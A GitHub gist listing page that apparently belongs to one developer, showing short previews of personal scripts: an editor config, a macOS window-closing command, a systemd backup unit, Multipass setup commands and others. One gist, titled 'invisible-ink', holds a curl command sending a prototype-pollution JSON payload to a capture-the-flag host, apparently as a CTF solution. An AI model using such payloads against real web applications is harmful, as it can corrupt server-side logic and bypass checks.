A Pen by pythoninthegrass on CodePen.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| --[[ | |
| lvim is the global options object | |
| Linters should be | |
| filled in as strings with either | |
| a global executable or a path to | |
| an executable | |
| ]] | |
| -- THESE ARE EXAMPLE CONFIGS FEEL FREE TO CHANGE TO WHATEVER YOU WANT |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| # SOURCE: https://gist.github.com/Koze/2e1a9bf967b2bf865fc9 | |
| # close all windows (e.g., thousands of finder windows from unarchiver) | |
| osascript -e 'tell application "Finder" to close windows' | |
| ## index 1 is frontmost window | |
| # osascript 'tell application "Finder" to close window 1' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| NOTE: | |
| Extended into a full repo at https://github.com/pythoninthegrass/convert_html_md | |
| Any future work will be posted there. | |
| SOURCES: | |
| https://gist.github.com/aolle/6e595650391deef79ffb1c9bb38fb6e9 | |
| https://dev.to/kcdchennai/python-decorator-to-measure-execution-time-54hk |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # /usr/lib/systemd/system/backup-saves.service | |
| [Unit] | |
| Description=Run ludusavi then rsync to offsite backup | |
| [Service] | |
| Type=simple | |
| ExecStart=bash /home/deck/backup_saves.sh |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import argparse | |
| import io | |
| import operator | |
| import re | |
| from contextlib import redirect_stderr | |
| from pathlib import Path | |
| """ |
Multipass can launch and run virtual machines and configure them with cloud-init like a public cloud
brew install multipass libvirt
brew services start libvirt
multipass set local.passphrase=<foo> # `multipass set local.passphrase` avoids stdout creds
multipass authenticate
multipass get local.driver
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # invisible-ink | |
| curl -H "Content-Type: application/json" -X POST -d '{"about": {"__proto__": {"flag": "true"}}}' http://invisible-ink.c.ctf-snyk.io/echo |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # fmt: off | |
| import asyncio | |
| import atexit | |
| import base64 | |
| import pickle | |
| import subprocess | |
| import sys | |
| import requests |